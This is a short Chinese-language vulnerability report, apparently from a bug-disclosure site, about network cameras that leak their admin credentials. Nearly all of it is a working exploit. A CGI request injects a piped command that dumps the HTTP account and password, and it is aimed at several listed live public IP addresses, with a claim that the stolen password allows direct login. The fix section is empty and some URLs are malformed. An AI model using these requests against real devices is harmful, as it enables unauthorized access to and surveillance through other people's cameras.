获取网络摄像头账号密码,如下IP+cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
案例
http://59.149.83.240/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
获取密码后,直接可登陆
多个IP受影响
http://101.78.142.10/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://218.253.245.125/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://59.149.83.240/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://113.255.93.243cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount漏洞证明:
http://101.78.142.10/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://218.253.245.125/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://59.149.83.240/cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount
http://113.255.93.243cgi-bin/rtpd.cgi?echo&AdminPasswd_ss|tdb&get&HTTPAccount修复方案: